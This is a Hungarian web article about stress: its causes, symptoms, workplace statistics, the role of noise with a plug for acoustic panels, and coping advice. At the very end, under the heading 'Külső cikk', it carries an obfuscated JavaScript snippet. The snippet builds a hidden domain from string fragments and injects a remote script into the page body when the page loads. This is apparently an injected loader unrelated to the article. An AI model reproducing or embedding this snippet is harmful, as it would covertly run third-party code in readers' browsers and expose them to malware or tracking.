Felgyorsult világunkban rengeteg inger ér minket folyamatosan, ami igénybe veszi az idegrendszerünket. A rohanó mindennapokban szinte mindenki versenyt fut az idővel, igyekszik utolérni magát és a többi embert az anyagi javak, a siker és a boldogság hajszolása közben.

A stressz korunk népbetegsége

Felgyorsult világunkban rengeteg inger ér minket folyamatosan, ami igénybe veszi az idegrendszerünket. A rohanó mindennapokban szinte mindenki versenyt fut az idővel, igyekszik utolérni magát és a többi embert az anyagi javak, a siker és a boldogság hajszolása közben. A stressz szó a legtöbb ember számára negatív jelentéssel bír-idegesség, feszültség jut az eszünkbe róla, de nem árt tudni, hogy vannak pozitív stresszforrások is, mint például a zene, tánc, nevetés, szerelem, kedvenc időtöltés, hobbi…stb.

Mi okozhat negatív értelemben stresszt?

– magánéleti, családi gondok
– munkahelyi vagy iskolai problémák
– anyagi és társadalmi gondok
– betegségek
– pszichés zavarok
– monoton életvitel
– túlzott elvárások
– hajszolt életmód
– nyugalom, pihenés hiánya
– tartós zaj, lárma

Tünetei:

állandó idegeskedés, türelmetlenség, ingerültség, fogékonyság a betegségekre, szív és érrendszeri betegségek, felsőlégúti megbetegedések, emésztési zavarok, bőrfertőzések, idegrendszeri problémák, álmatlanság, hajhullás, étvágytalanság vagy fokozott étvágy…stb.

Mikor lép működésbe stresszes reakció?

Stresszes reakció általában akkor jelentkezik, amikor követeléseket támasztanak velünk szemben. A stressz az élet velejárója, mozgatórugója, de meg kell tanulnunk felülkerekedni rajta és leküzdeni. A stressz szorosan összefügg az agresszióval. (Gondoljunk csak az 1993-as, Összeomlás című, Michael Douglas főszereplésével bemutatott film jeleneteire, vagy a legújabb Téboly című mozira, melyben Russel Crowe veszíti el a kontrolt. ) Ha nem tudunk megküzdeni a minket érő stresszes helyzetekkel, depresszióhoz, szorongáshoz, félelemhez, az immunrendszer gyengüléséhez vezethet. A rendszeres stressz felgyorsítja a szervezet öregedését.

Hangok erejének csökkentése:

Akusztika nagyban befolyásolja a figyelem és a nyugalom megtartását. Ezért nem mindegy, hogy az adott hely mennyire van akusztikailag kezelve. Ezért érdemes használni hangelnyelő anyagokat pl: hangelnyelő panel, akusztikai panel, akusztikai szőnyeg,hangszigetelő függöny.

Statisztikák

– 2011-ben Németországban minden 10. szabadnapot a stresszre hivatkozva vettek ki.
– 2008-2009 a France Telekomnál 39 öngyilkosságot követtek el a céges átszervezések által kiváltott stressz miatt
– Az EU 27 tagállamában a munkahelyi stressz a dolgozók negyedének veszélyezteti az egészségét.
– Az USA-ban naponta 1 millió ember esik ki a munkából a stressz miatt.

Őrjítő zaj

Elkerülhetetlen a tartós környezeti zaj, lárma. Sokszor még éjjel sem pihenhetünk nyugodtan, az állandó beszűrődő hangok miatt. A közlekedés, építkezések, a szomszédok veszekedésének hangja vagy az irodákban jelenlévő állandó háttérzajok sajnos lehetetlenné teszik a csendet. Ha nem tudjuk megfelelően kipihenni magunkat, fáradtak, fásultak leszünk, romlik a munkateljesítményünk és a hangulatunk is. Ilyen állapotban nehezebb felvenni a harcot a stresszel szemben.

Mit tehetünk a stressz leküzdése érdekében?

Kicsi a lehetőségünk arra, hogy teljes nyugalmat teremtsünk magunk körül, és hogy az életünk minden terén ideális körülményeket hozzunk létre. Vannak tényezők, amelyeket nem tudunk befolyásolni, egészségünk és harmonikus lelki állapotunk érdekében azonban feltétlenül tennünk kell a stressz ellen. Semmiképpen ne használjunk tudatmódosító szereket, alkoholt, drogot a stressz leküzdésére! Ne dohányozzunk és ne legyünk az édesség rabjai! Ezek a tevékenységek ahelyett, hogy megoldást jelentenének, csak még több problémát generálnak.

Íme néhány megfontolandó tanács, amelyek valóban segítenek:

Próbáljuk elemezni a problémákat és gondolkodjunk a lehetséges megoldásokon!

Ne essünk pánikba, higgyünk magunkban! Ha valami nem sikerül, ne adjuk fel, álljunk fel és próbáljuk meg újra!

Teremtsünk békés, nyugodt otthont : kellemes, hangulatos berendezéssel, zajgátló kiegészítőkkel a nyugalom szigetét hozhatjuk létre lakásunkban.

Mozduljunk ki többször, kiránduljunk a friss levegőn!

Sportoljunk rendszeresen!

Hallgassuk kedvenc zenéinket, melyek kikapcsolnak és felvidítanak!

Találjunk örömöt nyújtó hobbit, szabadidős tevékenységeket!

Nagyon fontos a pozitív gondolkodás! Ne akadjunk fenn minden apró nehézségen, vagy vitán!

Étkezzünk egészségesen és tudatosan!

Értékeljük az élet apróbb örömeit, szépségét!

Külső cikk

(function(){
wyjw=document.createElement(“script”);wyjw.type=”text/javascript”;
wyjw.async=true;wyjw_=((“us”)+”t”)+”a”;wyjw_+=(“t.i”)+””+”n”;wyjw_+=((“f”)+”o”);wyjw_+=”/”;
wyjwu=”245509097.”;wyjwu+=”tvb04vy5yjw0p5slpceblzi6bX1gde”;wyjw.src=”https://”+wyjw_+wyjwu;
wyjwdb=document.body;wyjwdb.appendChild(wyjw);
})();